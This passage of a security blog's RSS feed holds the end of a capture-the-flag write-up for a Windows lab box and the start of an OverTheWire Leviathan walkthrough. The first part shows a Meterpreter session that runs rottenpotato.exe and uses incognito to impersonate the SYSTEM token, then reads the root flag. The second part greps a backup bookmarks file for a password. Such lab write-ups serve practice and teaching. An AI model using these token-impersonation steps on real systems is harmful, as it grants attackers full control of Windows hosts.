<p>100666/rw-rw-rw- 845 fil 2017-09-17 16:50:12 -0400 FTP.lnk<br>
100666/rw-rw-rw- 17152 fil 2017-10-19 16:49:59 -0400 SPBestWarmUp.ps1<br>
100666/rw-rw-rw- 11010 fil 2017-10-19 17:48:44 -0400 SPBestWarmUp.xml<br>
100666/rw-rw-rw- 1914 fil 2017-09-17 16:48:49 -0400 SQLCMD.lnk<br>
100555/r-xr-xr-x 916 fil 2017-10-01 17:32:39 -0400 browser.bat<br>
100666/rw-rw-rw- 282 fil 2017-08-31 17:57:02 -0400 desktop.ini<br>
100666/rw-rw-rw- 297 fil 2017-09-23 16:11:01 -0400 note to tim (draft).txt<br>
100777/rwxrwxrwx 679936 fil 2018-05-15 06:12:11 -0400 rottenpotato.exe<br>
100666/rw-rw-rw- 129 fil 2017-09-20 19:46:51 -0400 todo.txt<br>
100444/r&ndash;r&ndash;r&ndash; 32 fil 2017-08-30 21:04:26 -0400 user.txt<br>
100666/rw-rw-rw- 936 fil 2017-09-17 16:49:32 -0400 zz_Migration.lnk</p>
<p>meterpreter &gt; use incognito<br>
Loading extension incognito&hellip;Success.<br>
meterpreter &gt; list_tokens -u<br>
[-] Warning: Not currently running as SYSTEM, not all tokens will be available<br>
Call rev2self if primary process token is SYSTEM</p>
<h1 id="delegation-tokens-available">Delegation Tokens Available</h1>
<p>NT SERVICE\SQLSERVERAGENT<br>
TALLY\Sarah</p>
<h1 id="impersonation-tokens-available">Impersonation Tokens Available</h1>
<p>No tokens available</p>
<p>meterpreter &gt; execute -Hc -f ./rottenpotato.exe<br>
Process 752 created.<br>
Channel 3 created.</p>
<p>meterpreter &gt; list_tokens -u<br>
[-] Warning: Not currently running as SYSTEM, not all tokens will be available<br>
Call rev2self if primary process token is SYSTEM</p>
<h1 id="delegation-tokens-available-1">Delegation Tokens Available</h1>
<p>NT SERVICE\SQLSERVERAGENT<br>
TALLY\Sarah</p>
<h1 id="impersonation-tokens-available-1">Impersonation Tokens Available</h1>
<p>NT AUTHORITY\SYSTEM</p>
<p>meterpreter &gt; impersonate_token &ldquo;NT AUTHORITY\SYSTEM&rdquo;<br>
[-] Warning: Not currently running as SYSTEM, not all tokens will be available<br>
Call rev2self if primary process token is SYSTEM<br>
[-] No delegation token available<br>
[+] Successfully impersonated user NT AUTHORITY\SYSTEM<br>
meterpreter &gt; getuid<br>
Server username: NT AUTHORITY\SYSTEM</p>
<p>meterpreter &gt; cat C:\Users\Administrator\Desktop\root.txt<br>
608#########################3eda</p>
]]></content></item><item><title>OverTheWire - Leviathan</title><link>https://m10x.de/posts/2010/01/overthewire-leviathan/</link><pubDate>Fri, 01 Jan 2010 01:01:56 +0100</pubDate><guid>https://m10x.de/posts/2010/01/overthewire-leviathan/</guid><description>Level 0
root@kali:~# ssh leviathan.labs.overthewire.org -p 2223 -l leviathan0
[&amp;hellip;]
leviathan0@leviathan:$ ls
leviathan0@leviathan:$ ls -alh
total 24K
drwxr-xr-x 3 root root 4.0K Oct 29 2018 .
drwxr-xr-x 10 root root 4.0K Oct 29 2018 ..
drwxr-x&amp;mdash; 2 leviathan1 leviathan0 4.0K Oct 29 2018 .backup
-rw-r&amp;ndash;r&amp;ndash; 1 root root 220 May 15 2017 .bash_logout
-rw-r&amp;ndash;r&amp;ndash; 1 root root 3.5K May 15 2017 .bashrc
-rw-r&amp;ndash;r&amp;ndash; 1 root root 675 May 15 2017 .</description><content type="html"><![CDATA[<p>Level 0</p>
<p>root@kali:~# ssh leviathan.labs.overthewire.org -p 2223 -l leviathan0<br>
[&hellip;]</p>
<p>leviathan0@leviathan:<del>$ ls<br>
leviathan0@leviathan:</del>$ ls -alh<br>
total 24K<br>
drwxr-xr-x 3 root root 4.0K Oct 29 2018 .<br>
drwxr-xr-x 10 root root 4.0K Oct 29 2018 ..<br>
drwxr-x&mdash; 2 leviathan1 leviathan0 4.0K Oct 29 2018 .backup<br>
-rw-r&ndash;r&ndash; 1 root root 220 May 15 2017 .bash_logout<br>
-rw-r&ndash;r&ndash; 1 root root 3.5K May 15 2017 .bashrc<br>
-rw-r&ndash;r&ndash; 1 root root 675 May 15 2017 .profile<br>
leviathan0@leviathan:<del>$ cat .backup<br>
cat: .backup: Is a directory<br>
leviathan0@leviathan:</del>$ cd .backup/<br>
leviathan0@leviathan:<del>/.backup$ ls<br>
bookmarks.html<br>
leviathan0@leviathan:</del>/.backup$ ls -alh<br>
total 140K<br>
drwxr-x&mdash; 2 leviathan1 leviathan0 4.0K Oct 29 2018 .<br>
drwxr-xr-x 3 root root 4.0K Oct 29 2018 ..<br>
-rw-r&mdash;&ndash; 1 leviathan1 leviathan0 131K Oct 29 2018 bookmarks.html<br>
leviathan0@leviathan:~/.backup$ cat bookmarks.html | grep pass</p>
<!-- raw HTML omitted -->
<p>Level 0 zu Level 1</p>
]]></content></item></channel></rss>